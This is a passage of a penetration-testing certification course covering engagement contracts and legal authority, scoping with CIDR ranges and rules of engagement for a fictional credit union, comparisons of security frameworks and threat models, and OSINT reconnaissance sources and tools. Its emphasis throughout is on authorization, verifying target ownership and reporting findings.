• "An authorization letter means you cannot be arrested." It shows that whoever signed it authorized you. If they lacked authority over the premises or system, as the Dallas County sheriff argued, it does not bind the real owner.
• "The client can authorize testing of everything it uses." It can authorize only what it controls. Cloud platforms, SaaS providers, managed service providers and building owners need their terms checked or their own permission.
• "The NDA covers what we are allowed to test." An NDA governs confidentiality. Scope and techniques belong in the SoW and the ROE.
• "If we find evidence of a crime, we should keep going to gather more." Stop, preserve what you saw, and escalate. Investigating belongs to the client's incident responders and, where appropriate, the police.
• "Cloud providers forbid penetration testing." AWS and Microsoft both allow customers to test their own resources, within published rules that forbid denial of service and testing other customers.

What to carry forward

• The Iowa engagement failed on paper: conflicting hours, no legal review, thin oversight, unclear authority over county buildings, and a wrong contact number.
• MSA: standing legal terms. SoW: this project's work. NDA: confidentiality. ROE: how the testing is done. Authorization letter: proof of permission for whoever confronts you. ToS: what a third-party platform allows.
• Clients can authorize only what they control; cloud providers publish testing rules, and AWS holds customers responsible for their testers.
• PCI DSS v4.0.1 requires penetration testing at least every 12 months and segmentation tests at least yearly, or every six months for service providers; HIPAA requires periodic evaluations; GDPR Article 32 requires regular testing of security measures.
• Evidence of a prior breach, illegal content or a critical flaw means stop, preserve and escalate through the ROE's path, because legal clocks may already be running.
• Protect yourself: verify contacts, agree on notifications, stop when challenged, and let safety outrank stealth.

Sources

1. Faegre Baker Daniels. (2019, October 9). Coalfire investigation report (prepared for the Iowa Supreme Court). Iowa Judicial Branch. iowacourts.gov (PDF)
2. Iowa Judicial Branch, State Court Administration. (2019, September 18). State Court Administration statement, with the redacted Coalfire contract documents, including Coalfire Systems' Penetration test rules of engagement (version 1.0, 30 July 2019). iowacourts.gov; iowacourts.gov (ROE, PDF)
3. Krebs, B. (2020, January 31). Iowa prosecutors drop charges against men hired to test their security. KrebsOnSecurity. krebsonsecurity.com
4. KCRG. (2026, January). Cybersecurity testers reach $600,000 settlement after wrongful arrest. kcrg.com
5. Amazon Web Services. (n.d.). Penetration testing (customer policy). aws.amazon.com; Microsoft Security Response Center. (n.d.). Microsoft security testing rules of engagement. microsoft.com
6. PCI Security Standards Council. (2024). Just published: PCI DSS v4.0.1 (v4.0 retired 31 December 2024); and (2022). PCI DSS v4.0 self-assessment questionnaires D for merchants and D for service providers (text of requirements 11.4.2 to 11.4.6; the full v4.0.1 standard sits behind the council's document library agreement). pcisecuritystandards.org (v4.0.1); pcisecuritystandards.org (merchants, PDF); pcisecuritystandards.org (service providers, PDF)
7. 45 CFR 164.308, Administrative safeguards (HIPAA Security Rule). Legal Information Institute, Cornell Law School. law.cornell.edu; US Department of Health and Human Services. (2025, January 6). HIPAA Security Rule to strengthen the cybersecurity of electronic protected health information (notice of proposed rulemaking), 90 FR 898. federalregister.gov; Alston & Bird. (2026, July 10). HHS Office for Civil Rights delays final HIPAA Security Rule until 2027. alston.com
8. Regulation (EU) 2016/679 (General Data Protection Regulation), Articles 32 and 33, as it applies in the UK. legislation.gov.uk. Article 32; Article 33
9. 18 U.S.C. 2258A, Reporting requirements of providers. Legal Information Institute, Cornell Law School. law.cornell.edu

One character in a range

The range 203.0.113.0/26 holds 64 addresses. The range 203.0.113.0/25 holds 128. On a scope form the two differ by a single character, and the second one can sweep a stranger's network into your test. Lesson 3 showed how vague words about time put two testers in jail. This lesson is about getting every other line of the scope right: what kind of test, against which targets, excluding what, when, checking what, and with whom to call when something goes wrong.

The lesson walks one fictional engagement from the client's first email to a signed set of rules of engagement (ROE), then runs it again with one input changed. The client is Corvid Bay Credit Union, a made-up organization. Its addresses come from blocks that RFC 5737 reserves for documentation, 192.0.2.0/24, 198.51.100.0/24 and 203.0.113.0/24, which should never appear on the public internet. Its domain, corvidbay.example, uses the .example top-level domain that RFC 2606 reserves for examples. So nothing in the worked example can point at a real organization.

Exam objectives: 1.1 (scope definition; target selection by CIDR ranges, domains, IP addresses and URLs; assessment types: web, network, mobile, cloud, API, application and wireless; rules of engagement: exclusions, test cases, escalation process and testing window).

Step 1: Turn the client's goals into assessment types

Corvid Bay's security manager writes: "Our examiners want an external penetration test this year. We also launched a new online banking site and a mobile app in the spring, and we would like to know whether members can see each other's data. And we are worried about the Wi-Fi at our head office." Before any address is written down, those sentences have to become named assessment types, because each type needs different access, tools and standards.

For Corvid Bay that is four types:

• an external network test
• a web test of online banking
• an API and mobile test of the app and the interface behind it
• a wireless test of head office

The examiners' request also sets a standard to meet, and the member-data worry becomes the heart of the web and API work.

In short: the assessment type decides what you will need from the client, so name the types before you collect a single address.

Step 2: Write down the targets, then prove they belong to the client

Corvid Bay sends its list: the external range 203.0.113.0/26, the online banking site at onlinebanking.corvidbay.example, the API at api.corvidbay.example, and the two head-office networks, CB-Staff and CB-Guest. Start with the arithmetic. CIDR notation, defined in RFC 4632, writes a block as an address followed by a slash and the number of fixed leading bits, out of 32 for IPv4. The addresses in the block number 2 raised to the power of the remaining bits.

Each extra fixed bit halves the block. So the /26 that Corvid Bay sent is 64 addresses, 203.0.113.0 to 203.0.113.63. Now prove they are Corvid Bay's. NIST SP 800-115 says that when you are handed a list of public target addresses, you should verify before testing begins that all of them are under the organization's purview. It suggests registration records such as WHOIS. The Penetration Testing Execution Standard (PTES) adds the supporting pieces: confirm who owns the DNS servers, mail servers, web hosting and firewalls, because many organizations outsource them.

Corvid Bay's registration records show the /26 assigned to the credit union. They also show that the next block, 203.0.113.64/27, belongs to its colocation provider, which uses it to manage its own equipment. Hold on to that fact.

Domains and URLs need the same care. A lookup shows that onlinebanking.corvidbay.example resolves to 198.51.100.17, an address of a content delivery network shared by thousands of customers. Testing that IP address would mean testing the network's servers, not the credit union's. So the web test is scoped by hostname and URL, under the delivery network's published terms, and never by the shared address. The API, at 203.0.113.20, sits inside Corvid Bay's own /26.

One safe habit catches many of these mistakes. Nmap's list scan, nmap -sL, prints every address a range expands to without sending any packets to the targets. By default it still looks up each address's name in DNS, and Nmap's documentation points out that those names can reveal targets that belong to the wrong organization. Add -n to skip the lookups when all you want is the arithmetic.

Step 3: Draw the exclusions

NIST calls the list of systems not authorized for testing the "exclude list", and says it is crucial to have one. Exclusions come from three sources: ownership, fragility and the client's own priorities. Corvid Bay's list:

• 203.0.113.64/27, the colocation provider's management network (a third party).
• The core banking system and its database servers, which the credit union will not risk in production.
• The bill-payment service run by an outside processor, reached from the online banking site (a third party).
• Any denial-of-service testing, anywhere.
• Social engineering of staff or members, which the client may buy later under a separate agreement.

An exclusion should be as precise as a target: an address, a hostname or a named function, never "sensitive systems".

Step 4: Set the testing window

The testing window says when testing may happen, and Lesson 3 showed what a vague one costs. NIST's ROE template asks the schedule to address the hours of testing, and notes that technical testing of an operational site may be better run in the evening than at peak business times. Corvid Bay chooses:

• external and web testing from 08:00 to 18:00 US Central Time (America/Chicago), Monday to Friday, which is 14:00 to 00:00 UTC in winter
• wireless testing on site on two named days
• no testing at all on the last two business days of each month, when member transactions peak

Write the time zone by name. Testers and clients are often in different ones.

Step 5: Write test cases

Test cases turn the client's worries into checks you can report against. A good one names a starting position, an action and an observable result. Corvid Bay's include:

1. From the internet, which services in 203.0.113.0/26 answer, and do any expose an administrative interface?
2. Logged in as one test member, can you view another test member's statements by changing an account identifier in a request?
3. Does the mobile API accept requests that carry no valid session token, or an expired one?
4. From a device on CB-Guest, can you reach any address on the CB-Staff network?

Notice the second case. It uses two test accounts the client creates for the purpose, so the test proves the weakness without touching any real member's data.

Step 6: Agree the escalation process

NIST's template calls this incident handling and response, and calls it critical. It wants criteria for halting the test, the course of action if testing harms the network or a real attacker appears mid-test, the client's call tree in quick-reference form, and a process for resuming. PTES adds that every emergency contact should have a full name, a title, the authority to discuss the test, and two ways to reach them around the clock. For Corvid Bay:

• Stop and call at once if any service slows or fails, if you find signs of a real intrusion, if you find illegal content, or if a finding exposes member data.
• Who to call, in order: the client's security manager, then the IT on-call line, then the executive sponsor; each with two verified numbers.
• Restarting: only after the security manager confirms in writing that testing may resume.

Step 7: Assemble the ROE and sign it

NIST SP 800-115's Appendix B gives a template whose structure NIST itself calls illustrative, so adapt it rather than copy it. Here it is with Corvid Bay's entries.

The signature page matters as much as the content. NIST says the test team leader and the organization's senior management should, at a minimum, sign to show they understand the scope and its boundaries.

In short: a finished scope names every target and every exclusion precisely and says when testing happens in a stated time zone. It also lists checks you can report against, and tells everyone whom to call and when to stop.

Run it again with one input changed

Now change three inputs, one at a time, and watch the scope break.

The typo. Suppose Corvid Bay's form had said 203.0.113.0/25. That block runs from 203.0.113.0 to 203.0.113.127, so it contains the credit union's 64 addresses and also the colocation provider's 203.0.113.64/27, plus 32 more addresses whose owner nobody checked. A sweep of the range as written would scan a third party without its permission. The list scan would have shown it: names belonging to the provider's routers would appear in the output. The fix is not to quietly test the smaller block. Correct the document and have it signed again.

The shared address. Suppose the scope had listed the online banking site by its address, 198.51.100.17, under the network test. Every port scan of that address would hit a delivery-network server that also serves thousands of other customers. Same site, same client, different target, and the second one is not the client's to authorize.

The helpful email. On day two the client's IT manager writes: "While you're in there, can you check our new VPN gateway at 192.0.2.10?" It is not in the ROE. PTES's advice on scope creep is blunt: document additional work in a statement of work, and start nothing until it is signed and countersigned. Two more questions follow. Does the IT manager have the authority to sign? And is 192.0.2.10 Corvid Bay's at all? Until both are answered in writing, the gateway is out of scope.

Common misconceptions

• "If the client lists an address, it is theirs." Clients make mistakes, and addresses change hands. NIST tells testers to verify ownership of every public address before testing.
• "A /25 is smaller than a /26." The reverse: each extra bit after the slash halves the block, so a /25 is twice the size of a /26.
• "A web application's IP address is the same thing as the application." Behind a content delivery network or shared hosting, one address can serve many organizations, so web tests are scoped by hostname and URL.
• "An email from the client's staff is enough to add a target." Changes need the same written authority as the original scope, from someone entitled to give it.
• "Escalation means telling the client at the end." Escalation is for during the test: stop conditions, a call tree and a way to restart.

The short version

• Name the assessment types first: network, web, API, mobile, application, cloud and wireless each need different access and standards.
• Write targets precisely, as CIDR ranges, IP addresses, domains and URLs; calculate what each range covers; and verify ownership with registration records and the client.
• Keep an exclude list of third-party, fragile and unwanted systems and techniques.
• Set the testing window in hours, days, blackout dates and a named time zone.
• Write test cases with a starting position, an action and an observable result, using test accounts rather than real people's data.
• Agree halting criteria, a call tree with two verified numbers per contact, and a written restart; then sign the ROE at senior level.
• Treat every change, including a helpful email, as a scope amendment that needs new signatures.

Sources

1. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 5.2 and Appendix B, Rules of engagement template. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
2. The PTES Team. (n.d.). Pre-engagement interactions. In Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pentest-standard.readthedocs.io
3. Fuller, V., and Li, T. (2006). Classless Inter-domain Routing (CIDR): The Internet address assignment and aggregation plan (RFC 4632). RFC Editor. rfc-editor.org
4. Arkko, J., Cotton, M., and Vegoda, L. (2010). IPv4 address blocks reserved for documentation (RFC 5737); and Eastlake, D., and Panitz, A. (1999). Reserved top level DNS names (RFC 2606). RFC Editor. rfc-editor.org (RFC 5737); rfc-editor.org (RFC 2606)
5. Lyon, G. (n.d.). Host discovery. In Nmap reference guide. nmap.org
6. OWASP Foundation. (n.d.). Web Security Testing Guide; OWASP API Security Top 10 (2023); Mobile Application Security Verification Standard (MASVS). owasp.org (WSTG); owasp.org (API Top 10); mas.owasp.org

Two threats, one scale

In June 2003 a team at Microsoft published a guide chapter on threat modeling that rated two threats to a web application. An attacker reading passwords off the network scored 12. SQL commands injected into the application scored 14. The scale ran from 5 to 15, built from five questions whose initials spell DREAD, and both threats came out "High". Microsoft now marks the chapter as retired content, but the model it describes is on the PenTest+ objectives, along with nine other frameworks and models.

Ten names in one objective look like a memorization exercise. They are easier to hold if you sort them by the question each one answers. Some tell you how to run a test. One tells a client who is qualified to run it. One records what real attackers do. Two list what usually goes wrong in software. One describes where industrial systems sit. Three help you think about what could go wrong and how bad it would be. This lesson builds that sorting into a set of comparison tables, then practices choosing the right one for a question.

Exam objectives: 1.3 (compare and contrast OSSTMM, CREST, PTES, MITRE ATT&CK, the OWASP Top 10, OWASP MASVS, the Purdue model, and the threat modeling frameworks DREAD, STRIDE and OCTAVE).

Six kinds of map

The upshot: when a question names a goal, such as "structure the engagement" or "rate this threat", ask which kind of map answers that goal before looking at the names.

Methodologies for running the test

Three documents describe how a penetration test should be run, and they divide the work differently.

NIST makes reporting a phase that runs alongside the others rather than one at the end. The ROE is written during planning, logs and periodic reports are kept during discovery and attack, and a final report closes the test. That is worth remembering for the exam, because it explains why communication is an objective of its own.

OSSTMM adds a vocabulary the exam can use: six common test types, defined by who knows what in advance.

Notice what the table measures. The tester's knowledge decides how efficient the test is; the target's knowledge decides whether the test also measures how well its defenders respond. A reversal test, OSSTMM's red-team type, is the only one that tests the defenders' readiness with full knowledge on the attacking side. OSSTMM also sets rules that read like an ROE. It forbids any flood testing over channels that are not privately owned. It requires reports to mark every unknown and to state both the security measures that worked and those that failed.

Watch one label. OSSTMM's "white box" is its double gray box, where the tester has limited knowledge. In general use, and in NIST's glossary, white box testing means the tester has substantial knowledge of the system's internals, gray box means some knowledge and black box means none. If a stem says white box without naming OSSTMM, read it the general way.

CREST: who may do the testing

CREST is not a way to run a test. The objectives expand the name as Council of Registered Ethical Security Testers, though the body now simply calls itself CREST. It is a not-for-profit company, registered in the UK, that accredits testing companies and certifies individual professionals. Accredited member companies, which CREST says number over 500 worldwide, pass audits of their processes and sign enforceable codes of conduct and ethics, and clients can complain through CREST if something goes wrong. Its accreditations cover penetration testing, vulnerability assessment, threat intelligence, incident response and security operations.

So CREST answers the buyer's question: how do I know this company tests safely and ethically? A client that requires a CREST-accredited provider, as some governments and regulators do, is using CREST as a qualification standard, while the engagement itself may still follow PTES or NIST.

MITRE ATT&CK: what attackers actually do

MITRE describes ATT&CK as a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. A tactic is the attacker's goal at a step, such as gaining credentials. A technique is how the goal is reached, such as T1110, Brute Force, whose sub-techniques include password guessing, password cracking, password spraying and credential stuffing. Each technique page lists mitigations and detection strategies, which is why ATT&CK is as useful to defenders as to testers.

ATT&CK has three matrices: Enterprise, Mobile and ICS (industrial control systems). In version 20 the Enterprise matrix has 15 tactics, in this order: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Stealth, Defense Impairment, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration and Impact. Older study material lists 14, with a single tactic called Defense Evasion where version 20 has Stealth (TA0005) and Defense Impairment (TA0112). If an exam item uses the older name, it means the same family of behavior.

In an engagement, ATT&CK helps in two places. Before testing, it lets you build scenarios from techniques real groups use against the client's industry. In the report, mapping each finding to a technique ID tells the client's detection team exactly which behavior it should be able to see.

OWASP: what usually goes wrong in software

The Open Worldwide Application Security Project publishes two lists the exam names. The OWASP Top 10 ranks the most critical categories of web application security risk and is revised every few years. Its 2025 edition reads:

PT0-003 was written when the 2021 list was current, so expect exam items and study guides to cite it. The Top 10 is a list of risk categories, not a testing method; OWASP's Web Security Testing Guide is the method. Testers use the Top 10 to make sure a web test covers the categories that matter most, and to label findings in terms developers recognize.

The Mobile Application Security Verification Standard (MASVS) does the same job for mobile apps. It is a set of security requirements grouped into eight control groups:

• storage
• cryptography
• authentication and authorization
• network communication
• platform interaction
• code quality
• resilience against reverse engineering and tampering
• privacy

Its companion, the Mobile Application Security Testing Guide (MASTG), organizes test methods for Android and iOS under the same groups. An app that keeps a session token in a plain file on the device fails a storage requirement; one that accepts any certificate when it calls its API fails a network one.

The Purdue model: where industrial systems sit

The Purdue model comes from the Purdue Enterprise Reference Architecture, first published in the late 1980s and early 1990s for computer-integrated manufacturing. NIST SP 800-82 Revision 3, the US guide to operational technology (OT) security, names it as one of the models an organization may use to organize OT network segmentation.

NIST's guidance gives a tester two things to check and one thing to fear. Firewall rules should only permit connections between adjacent levels, so a Level 4 device talking directly to a Level 2, 1 or 0 device is a finding. Outbound connections from lower levels should be controlled as strictly as inbound ones. And active scanning can harm OT systems: NIST repeatedly advises testing tools on non-production systems first, scanning during planned downtime, and preferring passive monitoring through SPAN ports or network taps. Lesson 10 returns to this when it covers industrial vulnerability assessment.

Threat models: STRIDE, DREAD and OCTAVE

Threat modeling asks what could go wrong with a system before or while you test it. The exam names three approaches, and they do three different jobs.

STRIDE finds threats. Microsoft's threat modeling tool uses it to prompt pointed questions about each part of a design. Each letter is a category of threat, and each violates one security property.

DREAD rates threats. In the 2003 Microsoft chapter, each threat gets a score from 1 (low) to 3 (high) for Damage potential, Reproducibility, Exploitability, Affected users and Discoverability. The five scores are added, so totals run from 5 to 15: 12 to 15 is High, 8 to 11 is Medium and 5 to 7 is Low. The chapter's network-sniffing threat scored 3, 3, 2, 2, 2, a total of 12.

The chapter offered DREAD as a cure for a known problem: team members usually will not agree on a bare High, Medium or Low rating. The cure is partial, because each of the five scores is still a judgment call.

OWASP's historical threat modeling page goes the other way. It prefers qualitative High, Medium and Low values for likelihood and impact, so that rankings do not become overly subjective. Modern reports usually score findings with CVSS instead (Lesson 14).

OCTAVE assesses an organization's risk. The Operationally Critical Threat, Asset, and Vulnerability Evaluation comes from Carnegie Mellon University's Software Engineering Institute. Its streamlined version, OCTAVE Allegro, published in 2007, has an organization assess the risks to its information assets by considering the people, technology and facilities those assets depend on and the business processes they support. It is a risk assessment the organization carries out, not a way to attack a system. It is the right answer when a question is about an organization's overall operational risk rather than a single application's design.

The upshot: STRIDE asks "what kind of threat is this?", DREAD asks "how bad is it?", and OCTAVE asks "what matters most to this organization, and how exposed is it?"

Choosing the right map

Common misconceptions

• "The OWASP Top 10 is a testing methodology." It is a list of risk categories. OWASP's Web Security Testing Guide is the method, and PTES or NIST structures the engagement around it.
• "CREST is a methodology like PTES." CREST accredits companies and certifies people. It answers who may test, not how a test is run.
• "White box means the defenders know nothing." In OSSTMM's terms, double gray box ("white box") gives the target notice of scope and time frame. Reversal is the type in which the defenders know nothing while the tester knows everything.
• "ATT&CK is only for defenders." Testers use it to plan realistic scenarios and to label findings so defenders can act on them.
• "A DREAD score of 15 means 15 out of 15 problems." It is the sum of five ratings from 1 to 3, and the bands (High from 12) are a convention, not a measurement.

Pulling it together

• PTES (seven sections), NIST SP 800-115 (four phases, with reporting running throughout) and OSSTMM (five channels, six test types, attack surface metrics) describe how to run a test.
• CREST accredits testing companies and certifies individuals; it is a qualification standard, not a methodology.
• MITRE ATT&CK records real-world adversary tactics and techniques; version 20's Enterprise matrix has 15 tactics, with Stealth and Defense Impairment where older versions had Defense Evasion.
• The OWASP Top 10 (2025, with 2021 still widely cited) lists web risk categories; MASVS sets mobile app requirements in eight control groups, tested with the MASTG.
• The Purdue model places industrial systems in levels from field devices to the enterprise; NIST SP 800-82 says only adjacent levels should talk and active scanning needs great care.
• STRIDE categorizes threats by the property they violate, DREAD rates them from 5 to 15, and OCTAVE assesses an organization's operational risk to its information assets.

Sources

1. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 5.2. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
2. The PTES Team. (n.d.). Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pentest-standard.readthedocs.io
3. Herzog, P. (2010). OSSTMM 3: The open source security testing methodology manual. Institute for Security and Open Methodologies (ISECOM). isecom.org (PDF); National Institute of Standards and Technology. (n.d.). White box testing; Gray box testing; Black box testing. Computer Security Resource Center glossary. csrc.nist.gov (white); csrc.nist.gov (gray); csrc.nist.gov (black)
4. CREST. (n.d.). Cyber security services, accreditations and training (home page; legal status in the site footer). crest-approved.org
5. MITRE. (2026). MITRE ATT&CK, version 20: Enterprise tactics, and technique T1110, Brute Force. attack.mitre.org (tactics); attack.mitre.org (T1110)
6. OWASP Foundation. (2025). OWASP Top 10:2025; and (2021). OWASP Top 10:2021. top10.owasp.org (2025); top10.owasp.org (2021)
7. OWASP Foundation. (n.d.). OWASP Mobile Application Security Verification Standard (MASVS). mas.owasp.org
8. Stouffer, K., Pease, M., Tang, C., Zimmerman, T., Pillitteri, V., Lightman, S., Hahn, A., Saravia, S., Sherule, A., and Thompson, M. (2023). Guide to operational technology (OT) security (NIST Special Publication 800-82 Rev. 3). National Institute of Standards and Technology. csrc.nist.gov
9. Microsoft. (n.d.). Threats: Microsoft Threat Modeling Tool (STRIDE); and Meier, J. D., Mackman, A., Dunner, M., Vasireddy, S., Escamilla, R., and Murukan, A. (2003). Threat modeling. In Improving web application security: Threats and countermeasures (retired content; DREAD). learn.microsoft.com (STRIDE); learn.microsoft.com (DREAD)
10. OWASP Foundation. (n.d.). Threat modeling process (historical); and Caralli, R. A., Stevens, J. F., Young, L. R., and Wilson, W. R. (2007). Introducing OCTAVE Allegro: Improving the information security risk assessment process (CMU/SEI-2007-TR-012). Software Engineering Institute. owasp.org; sei.cmu.edu

A key in a public repository

In December 2017 a contractor developing the website for Toyota's T-Connect service, which links cars to online services, uploaded part of the site's source code to its own GitHub account. The account was set to public. The code contained an access key to the data server that held customer records.

On 15 September 2022 Toyota discovered the exposure and made the code private; two days later it changed the key.

Its announcement on 7 October 2022 said that for almost five years anyone could have used the key to reach the email addresses and customer management numbers of 296,019 customers. Its access logs showed no third-party access, but it could not completely rule it out.

Nobody had to scan Toyota to find that key. It sat on one of the most-searched code sites on the internet, readable by anyone who looked. That is the uncomfortable lesson of reconnaissance: some of the most valuable findings in a penetration test come before the tester sends a single packet to the client. This lesson covers those sources, what each one can reveal, the tools that collect them, and how a finding like Toyota's is written up.

Exam objectives: 2.1 (active and passive reconnaissance; OSINT from social media, job boards, code repositories, DNS and reverse DNS lookups, cached pages, cryptographic flaws and password dumps; certificate transparency logs; information disclosure; search engine analysis; HTML scraping) and 2.4 (Wayback Machine, WHOIS, nslookup and dig, Shodan, Censys.io, Hunter.io, DNSdumpster, theHarvester, Maltego, Recon-ng, SpiderFoot, OSINTframework.com).

Passive, semi-passive and active

The Penetration Testing Execution Standard sorts information gathering into three levels by how visible it is to the target.

The distinction matters for two reasons. First, active reconnaissance touches the client's systems, so it must sit inside the scope and testing window. Second, passive sources often concern people rather than systems: employees' names, roles and posts. The ROE should say what research into staff is allowed. A sensible default is to research the organization and staff in their work roles, and to stay out of private lives.

Worth holding on to: passive does not mean harmless or unlimited. It means the target cannot see you, which is exactly why it needs rules written down.

What the organization says about itself

Organizations publish far more than they realize. PTES lists the sources: the corporate website, partners and clients it advertises, public bids, court records and filings, marketing material, and job postings, which it singles out because they reveal the technologies in use. A posting that asks for experience with a named firewall, identity provider and logging platform has just told an attacker which products to research.

Social media adds the people: names, job titles, reporting lines, email formats, office photos with badges visible, and announcements about new systems. Published documents add metadata. A report saved as a PDF or a word-processing file often records its author's name, the software version and sometimes internal paths. PTES names tools such as exiftool for reading it, and you will look at your own document's metadata in this lesson's lab.

All of this is information disclosure, one of the exam's terms: data the organization did not mean to publish, or did not realize was useful to an attacker. Error pages that print software versions, comments left in web page source, and directory listings belong in the same category.

What the domain says: DNS, registration data and certificate logs

The Domain Name System is public by design, so a few lookups reveal a lot. A forward lookup asks for the records behind a name:

• A and AAAA records give addresses.
• MX records name the mail servers.
• NS records name the name servers.
• TXT records often reveal which email and cloud services the organization has verified.

A reverse lookup asks which name a given address maps to, through PTR records, and can turn an address range into a list of hostnames.

On Linux and macOS, dig does both; nslookup is the older tool that also ships with Windows. Lesson 8 uses them against your own lab.

Registration data says who holds a domain or an address block. The old WHOIS protocol is being retired. ICANN says that since 28 January 2025, registries and registrars for generic top-level domains must provide registration data through the Registration Data Access Protocol (RDAP). They are no longer required to run WHOIS, except for .com, .name and .post. Many people and tools still say "WHOIS" for both. For a tester, registration data does a job you met in Lesson 4: confirming that the addresses in the scope really belong to the client.

Certificate Transparency (CT) logs are often the richest source of all. They are public, append-only records of the TLS certificates that certificate authorities issue; certificates can be added but not deleted or altered, and anyone can search them. Chrome and Safari require certificates to carry signed proof of logging, so almost every certificate used on the public web appears in a log.

Every name on a certificate, such as vpn., dev. or a forgotten staging site, becomes visible. Search services such as crt.sh, and tools such as DNSdumpster, a free domain research tool from HackerTarget, gather these names into a picture of the organization's attack surface.

What the code and the past say

Code repositories are where the Toyota key lived. Public platforms index code for search, and a secret committed once stays in the repository's history even after a later commit deletes the file.

GitHub runs secret scanning automatically and for free on public repositories, checking the full history of every branch as well as issues, pull requests and wikis for keys, passwords and tokens. Its advice when a secret is exposed is to revoke or rotate the credential immediately, because removing it from history is slow and does not undo exposure that has already happened.

A tester searching the client's public repositories, and those of its contractors, is looking for exactly what Toyota's contractor published.

Cached pages show the past. The Internet Archive's Wayback Machine lets anyone browse archived captures of a URL, so a page the client removed last year, an old staff directory or an old login page may still be readable. Site owners can ask the archive to exclude their pages, which is itself a remediation option.

Search engines index what the organization forgot. Google's documentation describes its site: operator, which limits results to one domain, URL or URL prefix; combined with other terms, it finds exposed documents, login pages and error messages on the client's own sites. Such specialized queries are often called Google dorks, and the OSINT Framework marks them with a (D).

Password dumps are the hardest source ethically. Breach compilations circulate with real credentials for real people. The ROE must say whether testers may search them at all. When it allows a search, the usual practice is to report which client accounts appear, so the client can force resets, and never to try those passwords against live systems without explicit written permission. Cloud providers draw the same line: Microsoft's testing rules forbid using credentials that are not yours, including publicly leaked ones.

What machines say about themselves: Shodan and Censys

Some organizations scan the whole internet continuously and publish the results. Shodan describes itself as a search engine for internet-connected devices; most of its data is banners, the text a service returns when something connects, which often names the software and version. Censys does similar work for hosts and certificates. Reading their records about the client's addresses is passive for you, because someone else did the scanning. It can show services the client forgot it exposed, or cryptographic flaws such as expired certificates and outdated protocol versions, before you touch anything.

Both services need an account for most searches. So do Hunter.io and Maltego. Hunter's terms require users to be at least 18, and Censys's terms bar anyone under 13. For Shodan and Maltego, read the terms, including any age requirement, before registering. None of this course's labs needs any of these accounts.

Tools that do the collecting

HTML scraping is the do-it-yourself version: a script fetches a page and pulls out names, email addresses or links. Lesson 9 shows how to modify one. Scraping a client's site is semi-passive at most, and heavy scraping is active, so it belongs inside the scope and window.

Worth holding on to: a tool's name tells you less than its source. Ask of every tool: where does its data come from, and does using it send anything to the target?

Exam cues: which source or tool the stem wants

Objectives 2.1 and 2.4 begin "Given a scenario", so a stem usually describes a need and the answer names a source or a tool. These are the words to watch for, and the option each one gets confused with.

How OSINT findings are reported

OSINT findings are real findings. Suppose that during an authorized test of the fictional Corvid Bay Credit Union you find, in a contractor's public repository, a configuration file with an access key for the credit union's cloud storage. The report entry might read:

• Finding: a cloud access key, possibly still valid, published in a public code repository since a stated date. Do not test whether it works unless the ROE explicitly allows it.
• Severity: High, because anyone can read a long-term credential that protects member data. Adjust it once the client confirms what the key can reach.
• Evidence: the repository and file, a screenshot with the secret part of the key redacted, and the date you found it.
• Impact: anyone who found the key could read or change the data it protects; exposure time is the whole period it was public.
• Root cause: a contractor committed a real credential to a repository set to public, and nothing scanned for secrets before or after the commit. Toyota gave the same cause: a contractor's mistaken public upload, left unnoticed for almost five years.
• Remediation: revoke or rotate the key now, review the provider's logs for its use, turn on secret scanning for the client's and contractors' repositories, and replace long-term keys with temporary credentials where the platform supports them, as AWS recommends.
• Escalation: because the exposure is live, report it through the ROE's escalation path the same day, not in the final report.

Other OSINT findings are reported the same way:

• an unknown subdomain from CT logs becomes an asset inventory gap
• a job post naming security products becomes an awareness note
• employee lists and email formats feed the social engineering risk discussion

Common misconceptions

• "Passive reconnaissance is always allowed because it touches nothing." It can still raise privacy and legal issues, especially research into staff and breach data. The ROE should cover it.
• "Deleting a secret from the code fixes the leak." It stays in the repository's history and in any copy already made. Revoke or rotate the credential.
• "WHOIS is how you look up domain registration." For most generic top-level domains, RDAP is now the required service; WHOIS is no longer required since 28 January 2025.
• "Using Shodan is the same as scanning the client." Reading Shodan's existing records is passive for you; someone else already did the scanning. Asking a service to rescan on demand is different, and belongs in scope.
• "If credentials are public, testers may use them." Using leaked credentials needs explicit written permission; Microsoft's cloud testing rules forbid it outright.

What you now know

• Toyota's T-Connect key sat in a public repository from December 2017 to September 2022, exposing 296,019 customers' email addresses and management numbers: reconnaissance can find critical flaws without any scanning.
• PTES sorts information gathering into passive, semi-passive and active; only the last is likely to be noticed, but all three need rules.
• Websites, job posts, social media and document metadata disclose technologies, people and formats.
• DNS lookups and reverse lookups, RDAP registration data and Certificate Transparency logs map names, addresses and owners.
• Code repositories, the Wayback Machine, search operators such as site:, breach data and Shodan or Censys records expose what the client forgot.
• Collection tools differ mainly in where their data comes from and whether they touch the target.
• Exposed secrets are escalated at once and fixed by revoking or rotating them, then preventing recurrence.

Sources

1. Toyota Motor Corporation. (2022, October 7). T-Connect: Notice regarding the possible leak of customer email addresses (in Japanese). global.toyota; reported in English by The Register (2022, October 11). theregister.com
2. The PTES Team. (n.d.). Intelligence gathering. In Penetration Testing Execution Standard (unofficial mirror of the technical text). pentest-standard.readthedocs.io
3. Certificate Transparency project. (n.d.). How CT works. certificate.transparency.dev
4. ICANN. (n.d.). Registration Data Access Protocol (RDAP). icann.org
5. GitHub. (n.d.). Secret scanning. GitHub Docs. docs.github.com; Amazon Web Services. (n.d.). Manage access keys for IAM users. docs.aws.amazon.com
6. Internet Archive. (n.d.). Using the Wayback Machine; Google. (n.d.). Google Search site: operator. help.archive.org; developers.google.com
7. Shodan. (n.d.). What is Shodan? Shodan Help Center. help.shodan.io; Hunter. (2024). Terms of service; Censys. (2018). Terms of service. hunter.io; censys.com
8. Tool documentation: theHarvester (README); Recon-ng (README); SpiderFoot (README); DNSdumpster (HackerTarget); OSINT Framework. theHarvester; Recon-ng; SpiderFoot; DNSdumpster; osintframework.com
